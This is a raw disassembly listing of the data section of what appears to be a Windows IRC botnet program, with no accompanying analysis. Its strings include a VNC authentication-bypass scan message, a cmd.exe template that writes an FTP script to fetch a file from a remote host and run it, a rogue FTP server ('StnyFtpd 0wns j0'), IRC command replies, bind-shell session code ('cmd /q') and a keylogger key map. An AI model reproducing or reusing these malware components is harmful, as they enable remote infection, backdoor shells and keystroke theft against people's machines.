		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .text:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .text:0040E29Ao
		align 10h
word_433C00	dw 1			; DATA XREF: .text:0040E211r
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40E504+130o
					; sub_419C65+21o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40E6F0+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40E992+5F2o
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40E992+5D1o
		align 4
; char aFtpTransferCom[]
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40E992+580o
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40E992+56Co
; char aFtpTransferSta[]
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40E992+522o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40E992+4F7o
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_40E992+4DFo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40E992+4CFo
		align 4
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40E992+4BEo
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40E992+48Bo
		align 4
; char aS_1[]
aS_1		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40E992+447o
		db ']',0
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_40E992+40Eo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40E992+3E0o
		align 10h
; char aList_0[]
aList_0		db 'LIST',0             ; DATA XREF: sub_40E992+3CDo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40E992+395o
		align 4
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_40E992+382o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40E992+372o
; char aI_0[]
aI_0:					; DATA XREF: sub_40E992+35Eo
					; .data:00438368o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40E992+33Bo
; char aA_0[]
aA_0:					; DATA XREF: sub_40E992+327o
					; .data:00438374o
		unicode	0, <A>,0
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_40E992:loc_40EC9Bo
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40E992+2FEo
		align 4
; char off_433E54[]
off_433E54	dd offset dword_445750	; DATA XREF: sub_40E992+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40E992+2DDo
		align 4
; char aRest[]
aRest		db 'REST',0             ; DATA XREF: sub_40E992+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40E992+2BCo
		align 4
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_40E992+2A8o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40E992+29Bo
		align 4
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_40E992+287o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40E992+277o
		align 4
; char aUser_1[]
aUser_1		db 'USER',0             ; DATA XREF: sub_40E992+262o
		align 4
; char aSS_3[]
aSS_3		db '%s %s',0            ; DATA XREF: sub_40E992+251o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40E992+1C9o
		align 4
; char asc_433EEC[]
asc_433EEC	db '-'                  ; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
; char asc_433F14[]
asc_433F14	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
; char aGet[]
aGet		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
; char aApplicationOct[]
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
; char asc_434134[]
asc_434134	db '-'                  ; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
; char asc_43416C[]
asc_43416C	db '-'                  ; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
; char asc_4341A0[]
asc_4341A0	db '*',0                ; DATA XREF: sub_40F6B4+15Ao
		align 4
aS_9		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
; char aTrTdColspan3_0[]
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
; char aPrivmsgS31s2_0[]
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
; char aSS_4[]
aSS_4		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
; char aS_2[]
aS_2		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm_0		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
; char a__[]
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
; char aTrTdColspan3AH[]
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aSearchingForS[]
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
; char aPrivmsgSSearch[]
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
; char asc_434648[]
asc_434648	db '-'                  ; DATA XREF: sub_4101FD+171o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerFailed_0	db '- server failed, returned %d',0
		align 4
; char aUseridUnixS[]
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_4101FD+116o
; char asc_43468C[]
asc_43468C	db '-'                  ; DATA XREF: sub_4101FD+BBo
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aClientConnecti	db '- client connection from %s:%d.',0
; char asc_4346B8[]
asc_4346B8	db '-'                  ; DATA XREF: sub_4103AB+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
; char asc_4346F4[]
asc_4346F4	db '-'                  ; DATA XREF: sub_4103AB+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_43473C[]
asc_43473C	db '-'                  ; DATA XREF: sub_41053C+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
; char asc_43477C[]
asc_43477C	db '-'                  ; DATA XREF: sub_41053C+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
; char asc_4347C0[]
asc_4347C0	db '-'                  ; DATA XREF: sub_4107C0+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
; char asc_4347EC[]
asc_4347EC	db '-'                  ; DATA XREF: sub_4107C0+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
; char asc_434818[]
asc_434818	db '-'                  ; DATA XREF: sub_4107C0+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4107C0+172o
		align 4
; char asc_434854[]
asc_434854	db '-'                  ; DATA XREF: sub_4107C0+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
; char asc_434880[]
asc_434880	db '-'                  ; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
; char asc_4348AC[]
asc_4348AC	db '-'                  ; DATA XREF: sub_410A1F+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
; char asc_4348E4[]
asc_4348E4	db '-'                  ; DATA XREF: sub_410A4E+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
; char asc_43491C[]
asc_43491C	db '-'                  ; DATA XREF: sub_410A4E+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_40	db '- Failed to start client thread, error: <%d>.',0
		align 4
; char asc_434958[]
asc_434958	db '-'                  ; DATA XREF: sub_410A4E+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_43499C	db  2Dh	; -		; DATA XREF: sub_410A4E+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
; char asc_4349D8[]
asc_4349D8	db '-'                  ; DATA XREF: sub_410A4E+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
; char asc_434A1C[]
asc_434A1C	db '-'                  ; DATA XREF: sub_410A4E+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
; char asc_434A48[]
asc_434A48	db '-'                  ; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
; char asc_434A7C[]
asc_434A7C	db '-'                  ; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AC4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
; char asc_434AEC[]
asc_434AEC	db '-'                  ; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B2C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_434B6C[]
asc_434B6C	db '-'                  ; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
; char asc_434BAC[]
asc_434BAC	db '-'                  ; DATA XREF: sub_410FF9+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
; char asc_434BE8[]
asc_434BE8	db '-'                  ; DATA XREF: sub_4111CE+1B2o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_41	db '- Failed to start server on Port %d.',0
		align 4
; char asc_434C1C[]
asc_434C1C	db '-'                  ; DATA XREF: sub_4111CE+18Fo
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 4
; char asc_434C58[]
asc_434C58	db '-'                  ; DATA XREF: sub_4111CE+114o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char dword_434C9C[]
dword_434C9C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4113D3+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 10h
; char dword_434CE0[]
dword_434CE0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4113D3+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 10h
; char dword_434D20[]
dword_434D20	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_4113D3+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 10h
dword_434D60	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411797+41Co
; char aTftpTransferCo[]
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411797+3C4o
		align 4
; char aTftpTransferSt[]
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411797+2CDo
		align 10h
		dw 8
		unicode	0, <>,0
aB_0:					; DATA XREF: sub_411CF5:loc_411DD8o
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
